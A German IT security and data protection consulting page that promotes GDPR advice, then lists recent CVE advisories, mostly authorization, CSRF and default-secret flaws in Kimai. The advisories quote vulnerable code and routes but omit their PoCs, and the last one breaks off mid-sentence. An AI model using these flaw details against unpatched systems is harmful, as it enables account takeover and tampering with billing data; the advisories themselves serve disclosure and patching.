Beratung zu IT-Sicherheit & Datenschutz


Die Datenschutz-Grundverordnung beziehungsweise das Bundesdatenschutzgesetz betreffen uns alle - jeder, der Daten von Dritten erfasst, speichert oder verarbeitet muss den europäischen Standard einhalten. Die umfangreichen Gesetzestexte regeln Rechte und Pflichten aber auch technische und organisatorische Maßnahmen zum Datenschutz, Aufbewahrungspflichten, Sicherheitsstandards und Vorgaben zur Dokumentation von Verfahren und Vorfällen sowie die Vorgaben zur Berufung eines Datenschutzbeauftragten mit einer besonderen Aufsichts- und Beratungspflicht.

Die DSGVO und das BDSG sollte dabei nicht nur schriftlich in langen Rechtstexten, Datenschutzhinweisen und Verfahrensdokumentationen umgesetzt werden sondern es sollten konkrete technische Standards etabliert und eingehalten werden um dem Verlust von Daten vorzubeugen, der unberechtigten Nutzung von Daten einhalt zu gebieten und Angreifer und Hacker zuverlässig abzuwehren.

Da umfangreiches Know-How sowohl im Bezug auf die Rechtsgrundlagen als auch auf die technischen Risiken und Möglichkeiten erforderlich sind um ein angemessenes Datenschutzkonzept zu etablieren haben viele Unternehmen große Schwierigkeiten bei der Umsetzung. Unsere IT- und Datenschutzberatung setzt hier an - mit unserer Expertise können wir Sie dabei unterstützen Datenschutz technisch und rechtlich angemessen umzusetzen.
Wir unterstützen Sie gerne! »

  Unsere Leistungen

Datenschutzberatung durch geprüften DSB
Umsetzung von IT-Richtlinien / Gesetzen
Analyse & Beratung zur IT-Sicherheit
Erstellung von Dokumentationen



Was steckt dahinter?

Das "Who is Who" - DSGVO, GDPR, BDSG, TMG, ...
Innerhalb der EU gilt seit 2018 die sogenannte General Data Protection Regulation (GDPR), die in Deutschland unter der Bezeichnung "Datenschutz-Grundverordnung" (DSGVO) in nationales Recht umgesetzt wurde. Das Bundesdatenschutzgesetz (BDSG) präzisiert die Regelungen der DSGVO und fügt weitere nationale Regelungen hinzu. Für Betreiber von Internetangeboten ist zudem das Telemediengesetzes (TMG) relevant. Dies bezieht sich allerdings weniger auf den Datenschutz als auf grundlegende Regelungen im IT-Recht.

Was ist Datenschutzberatung?
Unser TÜV geprüfter Datenschutzbeauftragter mit juristischer Qualifikation berät Sie gerne zu Fragen rund um die Umsetzung von Datenschutzrecht in Ihren konkreten Projekten. Darüber hinausgehende zivilrechtliche Fragestellungen hingegen fallen nicht in den Bereich der Datenschutzberatung.




Die rechtliche Seite: DSGVO

Die DSGVO beziehungsweise das Bundesdatenschutzgesetz stellen verschiedene Forderungen an Unternehmen und Organisationen die zwingend einzuhalten sind um rechtskonform Daten zu verarbeiten. Als Verarbeiter von Daten zählen Sie schon dann, wenn Sie die Daten von Mitarbeitenden oder Kunden erfassen oder speichern.

Damit gilt die DSGVO sowohl für Kleinstunternehmen und Vereine wie auch für große Unternehmen und global Player.

Während die gesetzlichen Regelungen in vielen Bereichen sehr präzise Vorgaben machen welche Dokumente und Verfahren es geben muss und welche Rechte, Pflichten und Fristen gelten, gibt es in vielen Bereichen auch große Unsicherheiten. Häufiger werden Maßnahmen gefordert die sich am Stand der Technik orientieren oder technische Notwendigkeit und Machbarkeit zur Maßgabe machen.

Im Rahmen einer rechtlichen Datenschutzberatung geht es darum Sie über Ihre Rechte und Pflichten als Datenverarbeiter zu informieren und gemeinsam zu prüfen und sicherzustellen, dass die geforderten Unterlagen und Prozesse korrekt umgesetzt werden. Wir zeigen Ihnen gernen auch Tools und Best Practices zur Umsetzung der Rechte Betroffener und Ihrer Pflichten als Verarbeiter.

Wir unterstützen Sie dabei den Überblick zu bewahren!

Die technische Seite: IT-Sicherheit

Während die rechtliche Seite sich viel mit Fragen nach Rechten und Pflichten, der Haftung und der Verantwortung beschäftigt, ist die technische Seite des Datenschutzes sehr viel präziser:

Wie verhindern Sie, dass Ihre Daten in falsche Hände kommen?

Sie sammeln und verarbeiten vermutlich jeden Tag Daten von Dritten und speichern diese in internen Tools, verarbeiten sie auf Ihren oder fremden Servern, übertragen Sie zu Dienstleistern oder bauen sogar einen wesentlichen Teil Ihrer Tätigkeit auf der Verarbeitung auf.

Ein potentieller Angreifer oder Hacker versucht stets den schwächsten Punkt zu identifizieren, um Zugriff zu Ihren Daten zu erlangen. Häufig nutzen Hacker dazu bekannte Sicherheitslücken nicht aktualisierter Systeme aus, suchen nach vergessenen oder auch versehentlich offen stehenden Türen oder greifen sensible Zugangsdaten ab, wodurch sie auch ohne große Anstrengungen unberechtigten Zugang erlangen und viel Schaden anrichten können. Dabei müssen Sie nichtmal das primäre Ziel des Angriffs sein, sondern könnten vermeintlich auch Opfer eines größer angelegten Angriffs auf mehrere Unternehmen werden.

Wir unterstützen Sie dabei, ein Sicherheitskonzept in Ihrer IT zu etablieren und die Angriffflächen zu reduzieren.





IT-Sicherheit - bleiben Sie auf dem Laufenden


Täglich werden neue Schwachstellen, Angriffs-Vektoren, Cyber-Attaken und Fehler in Software, Netzwerken und Infrastrukturen bekannt - teilweise betreffen diese nur bestimmte Softwarelösungen oder spezifische Szenarien, manchmal betreffen Sie jedoch auch ganze Industriezweige, weit verbreitete Arbeitsweisen und grundlegende Technologien wie bei Heartbleed (SSL) oder Log4Shell (Protokollierung). Ergreifen Sie Maßnahmen, um Ihre Infrastruktur und Daten sicher zu halten.

Gemeinsam erfassen wir, welche Komponten und Abhängigkeiten Sie einsetzen und überwachen die CVE und viele weitere Quellen um im Falle von Mängeln oder Angriffspunkten schnell handeln zu können.

Wir simulieren Angriffe und Testen Ihre Anwendungen, Webseiten, die Infrastruktur und Prozesse auf mögliche Sicherheitslücken, Mängel und Angriffsvektoren um Risiken fürhzeitig zu erknennen und Lücken zu schließen.

Wir implementieren aktiv Monitore und überwachen somit Anfragen um frühzeitig Angriffe und verdächtige Aktivitäten zu identifizieren. Verdächte Aktivitäten können zur Alarmierung oder zu automatischen Sperrungen und Ausschlüssen führen, um einen hohen Standard zu gewährleisten.


Den Bedrohungen der IT-Welt sind Sie nicht schutzlos ausgeliefert - es ist jedoch wichtig dem Thema IT-Sicherheit Aufmerksamkeit zu schenken, um einen verantwortungsbewussten und rechtskonformen Umgang mit Unternehmens- und Kundendaten zu gewährleisten.
Risiko / Label Veröffentlichung
Risiko 9.8 / 10 CVE-2025-1889 gerade eben
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
Risiko 9.8 / 10 CVE-2024-8309 gerade eben
A vulnerability in the GraphCypherQAChain class of langchain-ai/langchain-community version 0.2.5 allows for SQL injection through prompt injection. This vulnerability can lead to unauthorized data manipulation, data exfiltration, denial of service (DoS) by deleting all data, breaches in multi-tenant security environments, and data integrity issues. Attackers can create, update, or delete nodes and relationships without proper authorization, extract sensitive data, disrupt services, access data across different tenants, and compromise the integrity of the database.
Risiko 5 / 10 CVE-2026-52826 vor 1 Stunde(n)
### Summary Kimai 2.56.0 contains an authenticated improper authorization vulnerability in the Web rate editing flows for projects, customers, and activities. A user who can edit one authorized parent object can combine that authorized parent ID with the rate ID of a different, unauthorized parent object and thereby modify the unauthorized rate record. This affects `ProjectRate`, `CustomerRate`, and `ActivityRate` editing. The issue is caused by missing parent-child consistency validation and allows cross-project, cross-customer, or cross-activity tampering of billing-related configuration. ### Details The issue affects the following Web routes: - `GET/POST /en/admin/project/{id}/rate/{rate}` - `GET/POST /en/admin/customer/{id}/rate/{rate}` - `GET/POST /en/admin/activity/{id}/rate/{rate}` In both cases, the parent object and the rate object are resolved independently from user-controlled route parameters. The controller only checks whether the current user may edit the parent object referenced by `{id}`, but it does not verify that the child rate object referenced by `{rate}` actually belongs to that same parent. In these controllers, there is no validation such as: - `$rate->getProject() === $project` - `$rate->getCustomer() === $customer` - `$rate->getActivity() === $activity` This missing binding check is especially notable because the API delete endpoints already enforce the expected parent-child relationship. This shows that parent-child consistency is already a recognized invariant in the application design, but the Web edit endpoints fail to enforce it for projects, customers, and activities. *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows authenticated users to tamper with billing-related rate configuration outside their authorized project, customer, or activity scope. An attacker can modify rate values belonging to other teams or business domains, which can affect time-based settlement, inherited pricing, cost calculations, budget reporting, revenue reporting, and downstream invoice generation. Because the issue directly persists changes into `kimai2_projects_rates`, `kimai2_customers_rates`, and `kimai2_activities_rates`, it is a real cross-scope integrity vulnerability rather than a UI-only flaw. The attack breaks team-based isolation boundaries for high-value financial configuration. # Solution The rate edit forms for `customers`, `projects` and `activities` now verify that the rate belongs to the parent referenced in the URL and reject the request otherwise. See [https://www.kimai.org/en/security/ghsa-2xgg-2x8h-8xw4](https://www.kimai.org/en/security/ghsa-2xgg-2x8h-8xw4) for more information.
Risiko 5 / 10 CVE-2026-52825 vor 1 Stunde(n)
### Summary Kimai contains an authenticated improper authorization vulnerability in Team-related assignment APIs. A Teamlead who can edit their own team can use backend API endpoints to add users or activities that fall outside their intended visible or manageable scope, even when the frontend correctly hides those targets. This affects both team member assignment and team activity assignment. The issue is caused by treating "may edit this team" as equivalent to "may attach any referenced object to this team", without performing a second authorization check on the target user or activity. ### Details The issue affects at least the following API routes: - `POST /api/teams/{id}/members/{userId}` - `POST /api/teams/{id}/activities/{activityId}` In both cases, the backend checks whether the caller may edit the `Team`, but it does not verify whether the referenced `User` or `Activity` falls inside the caller's allowed management scope. For team member assignment, the frontend form correctly limits the visible user choices. In `src/Form/TeamEditForm.php`, the team edit form uses `UserType`: ```php $builder->add('users', UserType::class, [ 'label' => 'add_user.label', 'help' => 'team.add_user.help', 'mapped' => false, 'multiple' => false, 'expanded' => false, 'required' => false, 'ignore_users' => $team !== null ? $team->getUsers() : [] ]); ``` In `src/Form/Type/UserType.php`, the user selector is built from `UserRepository::getQueryBuilderForFormType()`: ```php $query = new UserFormTypeQuery(); $query->setUser($options['user']); $qb = $this->userRepository->getQueryBuilderForFormType($query); $users = $qb->getQuery()->getResult(); ``` And in `src/Repository/UserRepository.php`, Teamlead-visible candidates are limited to team members from teams they lead: ```php if (null !== $user && $user->isTeamlead()) { $userIds = []; foreach ($user->getTeams() as $team) { if ($team->isTeamlead($user)) { foreach ($team->getUsers() as $teamMember) { $userIds[] = $teamMember->getId(); } } } $userIds = array_unique($userIds); $qb->setParameter('teamMember', $userIds); $or->add($qb->expr()->in('u.id', ':teamMember')); } ``` However, the actual member-assignment API does not reuse that restriction. In `src/API/TeamController.php`: ```php #[IsGranted('edit', 'team')] #[Route(methods: ['POST'], path: '/{id}/members/{userId}', name: 'post_team_member', requirements: ['id' => '\d+', 'userId' => '\d+'])] public function postMemberAction(Team $team, #[MapEntity(mapping: ['userId' => 'id'])] User $member): Response { if ($member->isInTeam($team)) { throw new BadRequestHttpException('User is already member of the team'); } $team->addUser($member); $this->teamService->saveTeam($team); } ``` For activity assignment, the same pattern appears. In `src/API/TeamController.php`: ```php #[IsGranted('edit', 'team')] #[Route(methods: ['POST'], path: '/{id}/activities/{activityId}', name: 'post_team_activity', requirements: ['id' => '\d+', 'activityId' => '\d+'])] public function postActivityAction(Team $team, #[MapEntity(mapping: ['activityId' => 'id'])] Activity $activity, ActivityRepository $activityRepository): Response { if ($team->hasActivity($activity)) { throw new BadRequestHttpException('Team has already access to activity'); } $team->addActivity($activity); $activityRepository->saveActivity($activity); } ``` The `Team` voter only checks whether the current user may edit that team, not whether the referenced object is within the Teamlead's legitimate scope. In `src/Voter/TeamVoter.php`: ```php if (!$user->isAdmin() && !$user->isSuperAdmin() && !$user->isTeamleadOf($subject)) { return false; } return $this->permissionManager->hasRolePermission($user, $attribute . '_team'); ``` For activities, this is especially risky because later authorization logic may trust the team assignment that was just written. In `src/Security/RolePermissionManager.php`: ```php public function checkTeamAccessActivity(Activity $activity, User $user): bool { if ($activity->getProject() !== null && !$this->checkTeamAccessProject($activity->getProject(), $user)) { return false; } return $this->checkTeamAccess($activity->getTeams(), $user); } ``` So once a Teamlead is able to write a new team/activity relation, later access-control decisions may treat that relation as legitimate input. *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows a Teamlead to use their own editable team as an expansion container for objects that should remain outside their authorized scope. In the validated member-assignment case, the attacker can forcibly add users who are not supposed to be manageable through that Teamlead's visible range. In the activity-assignment case, the attacker can attach activities that are outside the intended authorization boundary of the team. Once such relations are written, downstream authorization, visibility, and business workflows may start treating them as legitimate. This can affect user scoping, team-based access control, customer/project/activity visibility, time-entry behavior, statistics, and reporting. The issue therefore breaks the trustworthiness of `Team` as a security isolation container. # Solution Several new permission checks were added to `src/API/TeamController.php` - - Check if user can be accessed with `#[IsGranted('access_user', 'member')]` before adding as new team member - Check if customer can be seen with `#[IsGranted('view', 'customer')]` before a team is granted access to a customer - Check if project can be seen with `#[IsGranted('view', 'project')]` before a team is granted access to a project - Check if activity can be seen with `#[IsGranted('view', 'activity')]` before a team is granted access to an activity See [https://www.kimai.org/en/security/ghsa-xv4r-4885-gwpg](https://www.kimai.org/en/security/ghsa-xv4r-4885-gwpg) for more information.
Risiko 9.5 / 10 CVE-2026-52824 vor 1 Stunde(n)
### Summary The official Kimai Docker image ships with `APP_SECRET=change_this_to_something_unique` as the default environment variable. The Docker entrypoint does not override or validate this value. Any Kimai instance deployed using the Docker image without explicitly setting `APP_SECRET` runs with a publicly-known Symfony `kernel.secret`, enabling an unauthenticated attacker to forge HMAC-signed cookies and login links to take over any account including super_admin. ### Details `Dockerfile:263` sets `ENV APP_SECRET=change_this_to_something_unique`. This value is consumed by `config/packages/framework.yaml:7` as `kernel.secret`, which Symfony uses to HMAC-sign: - The `KIMAI_REMEMBER` remember-me cookie - LoginLink signatures - Password reset URLs - CSRF tokens The `.docker/entrypoint.sh` does not check for or replace the default sentinel value. The bare-metal `.env.dist:38` ships the same default. No startup-time guard exists anywhere in the codebase that refuses to start when `APP_SECRET` equals the sentinel. User IDs are sequential integers starting from 1. The first super_admin account is almost always `id=1`. User IDs are visible in some URLs and API responses. *A PoC was provided, but removed for security reasons.* ### Impact Any Kimai instance deployed via the official Docker image without overriding `APP_SECRET` can be compromised from the internet. An unauthenticated attacker who can reach the Kimai URL can forge authentication tokens and log in as any user if: - a username is known AND - the correct account ID for this username is guessed AND - the account has no active 2FA (two factor) authentication ## Solution - The entrypoint.sh file is updated and now contains a script that generates a random `APP_SECRET` via `bin2hex(random_bytes(32))` which will be stored in `/opt/kimai/var/data/.appsecret` - The entrypoint.sh will create the file `/opt/kimai/.env.local` containing the `APP_SECRET`, either fetched from the Docker Environment or from the newly created secret file - The documentation was updated to highlight the importance of using a random secret for `APP_SECRET` - The Dockerfile removed default `APP_SECRET=change_this_to_something_unique` - Login links now contain more entropy (see GHSA-m492-gv72-xvxj) - so even without all previous changes, attackers won't be able to generate Login links even for installations that have a hard-coded `APP_SECRET=change_this_to_something_unique` See [https://www.kimai.org/en/security/ghsa-jr9p-4h4j-6c58](https://www.kimai.org/en/security/ghsa-jr9p-4h4j-6c58) for more information.
Risiko 5 / 10 CVE-2026-52823 vor 1 Stunde(n)
### Summary Kimai 2.56.0 contains authenticated cross-site request forgery issues in its timesheet state-changing API endpoints. The application reuses the browser's existing session for `/api/*` requests, and both the `stop` and `restart` operations are exposed through `GET` and `PATCH` routes that directly modify business state. As a result, an attacker can trick a logged-in user into visiting a malicious page and cause unauthorized timesheet actions without the victim's consent. Depending on the endpoint, this can stop a running timesheet or create and start a new one from historical data. ### Details The issue affects at least the following API routes: - `GET /api/timesheets/{id}/stop` - `GET /api/timesheets/{id}/restart` Both routes are non-read-only operations but are still exposed as `GET`. In `src/API/TimesheetController.php`. *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows an attacker to trigger unauthorized business-state changes as a logged-in victim. In the validated `stop` case, a running timesheet can be stopped, affecting time tracking integrity and potentially availability of ongoing work tracking. In the `restart` case, a historical timesheet can be restarted and a new record can be created without the victim's knowledge. These actions can corrupt time records, distort billing and reporting, interfere with approvals or audits, and create persistent database-side side effects. Because exploitation requires only that the victim visit a malicious page while authenticated, the attack barrier is low. # Solution The `GET` routes were removed, both `stop` and `restart` are only available via `PATCH`. See [https://www.kimai.org/en/security/ghsa-r8vr-m544-qh4h](https://www.kimai.org/en/security/ghsa-r8vr-m544-qh4h) for more information.
Risiko 5 / 10 CVE-2026-52822 vor 1 Stunde(n)
### Summary Kimai 2.56.0 contains an authenticated authorization bypass in the timesheet `restart` and `duplicate` workflows. After a user loses access to a project, the user can still derive a new timesheet from one of their historical entries and create a new record under that now-unauthorized project and activity combination. This is a permission revocation bypass with persistent write impact. The issue affects both `restart` and `duplicate`, which trust ownership of an old timesheet more than the user's current access to the underlying project, activity, and customer. ### Details The issue affects the following operations: - `PATCH /api/timesheets/{id}/restart` - `PATCH /api/timesheets/{id}/duplicate` The root cause is that authorization gives too much weight to the fact that the original timesheet belongs to the current user. In `src/Voter/TimesheetVoter.php`, the `*_own_timesheet` branch is evaluated before team-based access checks. The restart/duplicate capability check also verifies only object visibility, not whether the current user still has team-based access to the referenced objects. In `src/API/TimesheetController.php`, the restart flow copies the historical `project` and `activity` into a new candidate timesheet. The duplicate flow similarly clones the historical record and saves it. In `src/Timesheet/TimesheetService.php`, creation of a new running entry still relies on `isGranted('start', $timesheet)`. For historical entries that belong to the current user, this logic can still succeed through the `*_own_timesheet` branch even after project access has been revoked. As a result, normal creation pages correctly stop offering the revoked project, but `restart` and `duplicate` can still create new records under it. The same weakness also affects the Web duplicate flow because the UI path ultimately calls the same save logic in `src/Controller/TimesheetAbstractController.php`: *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows a user to keep writing new time entries into a project after project access has been revoked. That undermines administrative access-control changes and can pollute project time tracking, budget calculations, statistics, reports, and invoicing workflows. Because both `restart` and `duplicate` can reuse historical project/activity bindings, old timesheet records effectively become reusable capability tokens that survive later access-control changes. This is not a UI artifact or a caching problem: new database rows are persisted after revocation. # Solution The metoid `TimesheetVoter::canStart()` now checks team access for project and activity. This verification is used for new timesheets and also for the `duplication` and `restart` workflows. See [https://www.kimai.org/en/security/ghsa-c6w6-57jj-62vh](https://www.kimai.org/en/security/ghsa-c6w6-57jj-62vh) for more information.
Risiko 5 / 10 CVE-2026-52821 vor 1 Stunde(n)
### Summary Kimai 2.56.0 contains an authenticated improper authorization vulnerability in the preset-project activity creation flow. A user with the generic `create_activity` permission, but without access to a target project, can still create a new `Activity` under that unauthorized project by visiting the preset project creation route directly. This is a persistent cross-project business-object creation issue. The attacker does not need permission to view or edit the target project and only needs to know a valid `project.id`. ### Details The issue affects the activity creation entry point that accepts a preset project identifier: - `GET/POST /en/admin/activity/create/{project}` - `GET/POST /en/admin/project/create/{customer}` In `src/Controller/ActivityController.php`, the controller checks only the global capability to create activities and does not verify whether the current user is allowed to create an activity under the supplied `Project` object. The form and repository path also preserve the preset project instead of rejecting it when the user lacks access. Because the preset project is merged into the candidate set, the final save operation can persist a new `Activity` under a project that is outside the attacker's authorized project scope. The same logic applies to the `src/Controller/ProjectController.php`. *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows an authenticated user to inject new child business objects into projects outside their authorized scope. An attacker can pollute another team's project configuration, influence later timesheet selection and rate inheritance, and create conditions for downstream business abuse if other users start using the injected activity. # Solution - In `ActivityController` we now validate if the project can be edited with `[IsGranted('edit', 'project')]` - In `ProjectController` we now validate if if the customer can be edited with `[IsGranted('edit', 'customer')]` See https://www.kimai.org/en/security/ghsa-3q6q-26vg-v97x
Risiko 5 / 10 CVE-2026-52820 vor 1 Stunde(n)
## Summary The Timesheet API `PATCH /api/timesheets/{id}` and `POST /api/timesheets` endpoints accept a user-supplied `project` ID and resolve it through a Symfony `EntityType` whose `query_builder` allows the submitted ID to satisfy the access predicate via an unconditional OR branch. As a result, any authenticated user can re-assign their own timesheet to any project in the database — including projects that belong to teams or customers they have no membership in and cannot otherwise see. The user can then read serialized project/customer details via `GET /api/timesheets/{id}?full=true`, leaking metadata (name, currency, customer hierarchy) that would otherwise be filtered out by the team ACL. ## Details ### Entry point — only ownership is checked in `src/API/TimesheetController.php:317-355` ```php #[IsGranted('edit', 'timesheet')] #[Route(methods: ['PATCH'], path: '/{id}', name: 'patch_timesheet', requirements: ['id' => '\d+'])] public function patchAction(Request $request, Timesheet $timesheet): Response { ... $form = $this->createForm(TimesheetApiEditForm::class, $timesheet, [...]); $form->setData($timesheet); $form->submit($request->request->all(), false); if (false === $form->isValid()) { ... } $this->service->saveTimesheet($timesheet); ... } ``` `src/Voter/TimesheetVoter.php:134-142`: ```php if ($subject->getUser()?->getId() === $user->getId()) { return $this->permissionManager->hasRolePermission($user, $permission . '_own_timesheet'); } if (!$this->permissionManager->checkTeamAccessTimesheet($subject, $user)) { return false; } ``` For an own-timesheet, only `edit_own_timesheet` is required. The voter does **not** look at the *new* project being submitted; it only validates the existing record's ownership. ### Form replays user-controlled project ID into the access query `src/Form/TimesheetEditForm.php:60-71`: ```php $isNew = true; if (isset($options['data']) && $options['data'] instanceof Timesheet) { ... if (null !== $entry->getId()) { $isNew = false; } ... } $this->addProject($builder, $isNew, $project, $customer); ``` `src/Form/FormTrait.php:59-100`: ```php $builder->addEventListener( FormEvents::PRE_SUBMIT, function (FormEvent $event) use ($builder, $project, $customer, $isNew, $options): void { $data = $event->getData(); $customer = \array_key_exists('customer', $data) && $data['customer'] !== '' ? $data['customer'] : null; $project = \array_key_exists('project', $data) && $data['project'] !== '' ? $data['project'] : $project; $event->getForm()->add('project', ProjectType::class, array_merge($options, [ 'group_by' => null, 'query_builder' => function (ProjectRepository $repo) use ($builder, $project, $customer, $isNew) { $project = \is_string($project) ? (int) $project : $project; ... if ($isNew && \is_int($project)) { $project = $repo->find($project); if ($project !== null) { if (!$project->getCustomer()->isVisible()) { ... $project = null; } elseif (!$project->isVisible()) { $project = null; } } } ... $query = new ProjectFormTypeQuery($project, $customer); $query->setUser($builder->getOption('user')); $query->setWithCustomer(true); return $repo->getQueryBuilderForFormType($query); }, ])); } ); ``` Two problems compound: 1. The visibility re-check on line 73 is gated on `$isNew`. For PATCH, `$isNew = false`, so the closure passes the attacker-supplied ID straight through. 2. Even when `$isNew = true` (POST), the re-check only validates `isVisible()` — it does not validate team membership. ### The query-builder unconditionally accepts the submitted ID `src/Repository/ProjectRepository.php:150-208`: ```php public function getQueryBuilderForFormType(ProjectFormTypeQuery $query): QueryBuilder { ... $mainQuery = $qb->expr()->andX(); $mainQuery->add($qb->expr()->eq('p.visible', ':visible')); $mainQuery->add($qb->expr()->eq('c.visible', ':customer_visible')); if (!$query->isIgnoreDate()) { ... } if ($query->hasCustomers()) { ... } $permissions = $this->getPermissionCriteria($qb, $query->getUser(), $query->getTeams()); if ($permissions->count() > 0) { $mainQuery->add($permissions); } $outerQuery = $qb->expr()->orX(); if ($query->hasProjects()) { $outerQuery->add($qb->expr()->in('p.id', ':project')); // <-- unconditional $qb->setParameter('project', $query->getProjects()); } ... $outerQuery->add($mainQuery); $qb->andWhere($outerQuery); return $qb; } ``` The final WHERE clause is roughly: ``` WHERE (p.id IN (:project)) OR (p.visible AND c.visible AND AND ) ``` Because `:project` is the submitted ID itself, the first branch matches unconditionally, completely bypassing the team-ACL applied by `getPermissionCriteria`. Symfony's `EntityType` happily resolves the foreign `Project` entity, the form passes validation, and the timesheet is persisted with the new `project_id`. ### No downstream validation closes the gap - `TimesheetService::saveTimesheet` → `updateTimesheet` (`src/Timesheet/TimesheetService.php:154-177`) is explicitly documented as *not* validating. - `TimesheetBasicValidator` only validates begin/end and project/activity coherence. - `TimesheetDeactivatedValidator::validateActivityAndProject` (`src/Validator/Constraints/TimesheetDeactivatedValidator.php:36-42`) returns early for non-running existing timesheets. - No validator anywhere in the timesheet pipeline checks that the project's team membership intersects the acting user's teams. *A PoC was provided, but removed for security reasons.* ## Impact - **Integrity:** any authenticated user can attribute their own tracked time to any project ID in the database — including projects belonging to teams/customers they cannot see. This pollutes per-project budgets, billing exports and reports for other teams. There is no in-app warning that records belonging to outsiders have been added. - **Confidentiality:** by reading the timesheet back via `?full=true`, the attacker obtains serialized project and customer details (name, currency, start/end dates, customer hierarchy) which would normally be filtered by the team ACL. - **Privilege model:** the `edit_own_timesheet` permission is part of the default ROLE_USER, so the bypass is reachable by every regular user without any administrator action. The blast radius is bounded by what an attacker can persist (their own timesheet rows) and what the `?full=true` serializer exposes — there is no direct ability to modify other teams' existing data. ## Solution - The FormTrait was updated to only pass the project forward for new timesheets - A new `TimesheetTeamAccessValidator`was added, which checks if `project` or `activity` were changed. If that is the case, the team access permission is checked first Find out more at [https://www.kimai.org/en/security/ghsa-vrr2-g9gh-c3jc](https://www.kimai.org/en/security/ghsa-vrr2-g9gh-c3jc)
Risiko 5 / 10 CVE-2026-52819 vor 1 Stunde(n)
## Summary `GET /api/timesheets?user=` (and `users[]=`) returns the targeted user's timesheet records to any caller that has the `view_other_timesheet` permission, without verifying that the caller is teamlead of any team containing the target user. The per-record endpoint `GET /api/timesheets/{id}` correctly enforces this check via `TimesheetVoter`/`RolePermissionManager::checkTeamAccessTimesheet` → `checkTeamLeadAccess`, but the list endpoint only filters projects/customers by team membership and never validates `t.user`. A `ROLE_TEAMLEAD` user can therefore enumerate any user's records — including the `rate` field — as long as those records are on a project with no team scoping (Kimai's default) or on any project that shares any team (membership, not lead) with the requester. ## Details **Root cause:** authorization mismatch between the per-record voter and the list endpoint. ### Per-record path (correct) `src/Voter/TimesheetVoter.php:138`: ```php if (!$this->permissionManager->checkTeamAccessTimesheet($subject, $user)) { return false; } return $this->permissionManager->hasRolePermission($user, $permission . '_other_timesheet'); ``` `checkTeamLeadAccess` (RolePermissionManager.php:143-160) requires `isTeamleadOf` (not just member) one of the **target user's** teams. The unit test `testTeamleadDeniedWhenOnlyPlainMemberOfOwnerTeam` (tests/Voter/TimesheetVoterTest.php:253-269) codifies this: > *"a TEAMLEAD role with `view_other_timesheet` must not access another user's timesheet by being a plain team member — they must be the team's teamlead."* ### List path (vulnerable) `src/API/TimesheetController.php:97-119`: ```php public function cgetAction(ParamFetcherInterface $paramFetcher, ..., UserRepository $userRepository): Response { $query = new TimesheetQuery(false); $this->prepareQuery($query, $paramFetcher); $seeAll = false; if ($this->isGranted('view_other_timesheet')) { /** @var array $users */ $users = $paramFetcher->get('users'); $userId = $paramFetcher->get('user'); if ('all' === $userId) { $seeAll = true; } elseif (\is_string($userId) && $userId !== '') { $users[] = (int) $userId; } if (!$seeAll) { foreach ($userRepository->findByIds($users) as $user) { $query->addUser($user); // <-- no teamlead-of-target check } } } ... ``` `config/packages/kimai.yaml:96,115` grants `TIMESHEET_OTHER` (which contains `view_other_timesheet`) to `ROLE_TEAMLEAD`, so the gate at line 103 passes for any teamlead. The `user=` / `users[]=` IDs are pushed straight into the query. ### Net effect For any victim `bob` who: - has at least one team that the requester `alice` is **not** teamlead of (so the voter denies per-record access), AND - has timesheets either on a project with no team (Kimai's default), or on a project that shares any team with `alice` (membership, not lead) `alice` is denied via `GET /api/timesheets/{id}` but receives `bob`'s records via `GET /api/timesheets?user=`. Disclosed fields in the collection response include `description`, `begin`, `end`, `duration`, `billable`, `exported`, `tags`, `rate`, `internalRate`, plus project/activity/user IDs (Default/Collection serializer groups, Timesheet.php:164-173). `rate` is financial data that the per-record voter is supposed to gate via the separate `view_rate_other_timesheet` permission. ### Why other proposed mitigations don't apply - The `view_other_timesheet` `IsGranted` on the route is the only authorization layer in the list path; ROLE_TEAMLEAD has it globally. - `prepareQuery` only sets `currentUser`, not authorization (BaseApiController.php:68-71). - The serializer does not filter `rate` per caller — it is a static `Default`-group property. - Recent commit 20c7b03 "Re-usable ACL checks on teams" hardened the voter side but left the list endpoint unchanged. *A PoC was provided, but removed for security reasons.* ## Impact - **Authorization bypass**: a `ROLE_TEAMLEAD` (a non-admin role typically granted to multiple users in a Kimai instance) can read any other user's timesheet records - **Financial data disclosure**: the `rate` and `internalRate` fields are returned in the collection serializer group, leaking what gets billed/costed against any user's records. - **PII / activity disclosure**: per-entry `description`, `begin`, `end`, `duration`, `billable`, `exported`, project/activity/customer IDs, and tags are leaked, allowing reconstruction of any user's activity timeline. # Solution The list of requested user `TimesheetController::cgetAction()` is now guarded with the `access_user` permission. The `access_user` permission verifies that the requesting user is allowed to see each of the requested user. If any of the requested users may not be seen, the entire call will fail. Find out more at [https://www.kimai.org/en/security/ghsa-4m8q-55qv-9pwp](https://www.kimai.org/en/security/ghsa-4m8q-55qv-9pwp)
Risiko 5 / 10 CVE-2026-49992 vor 1 Stunde(n)
### Summary Kimai 2.56.0 contains authenticated cross-site request forgery issues in its default team creation shortcuts for projects, customers, and activities. These endpoints are exposed through `GET` routes and directly create or reuse a `Team`, add the current user as teamlead, and bind the target object to that team. As a result, an attacker can trick a logged-in user with the required permissions into visiting a malicious page and cause unauthorized changes to team, teamlead, and object-binding relationships. This is a real authorization-structure modification issue rather than a harmless UI shortcut. ### Details The issue affects at least the following routes: - `GET /en/admin/project/{id}/create_team` - `GET /en/admin/customer/{id}/create_team` - `GET /en/admin/activity/{id}/create_team` Each of these routes is a `GET` endpoint, yet each performs persistent writes that alter authorization structure: - create or reuse a `Team` - add the current user as `teamlead` - bind the target `Project`, `Customer`, or `Activity` to that team *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows an attacker to remotely alter permission topology while the victim is logged in. A successful exploit can create or reuse a team, assign the victim as its teamlead, and bind a project, customer, or activity to that team without intentional user action. The pre-requisite is, that the logged-in user already has access to manage permissions of the object in question. Because these routes modify authorization structure rather than a simple personal preference, the business impact can extend into visibility rules, assignment scope, team-based access control, reporting, and later privilege-expansion chains. This makes the issue materially more serious than a low-value cosmetic CSRF. ## Solution - The routes have been moved to API `POST` endpoints See 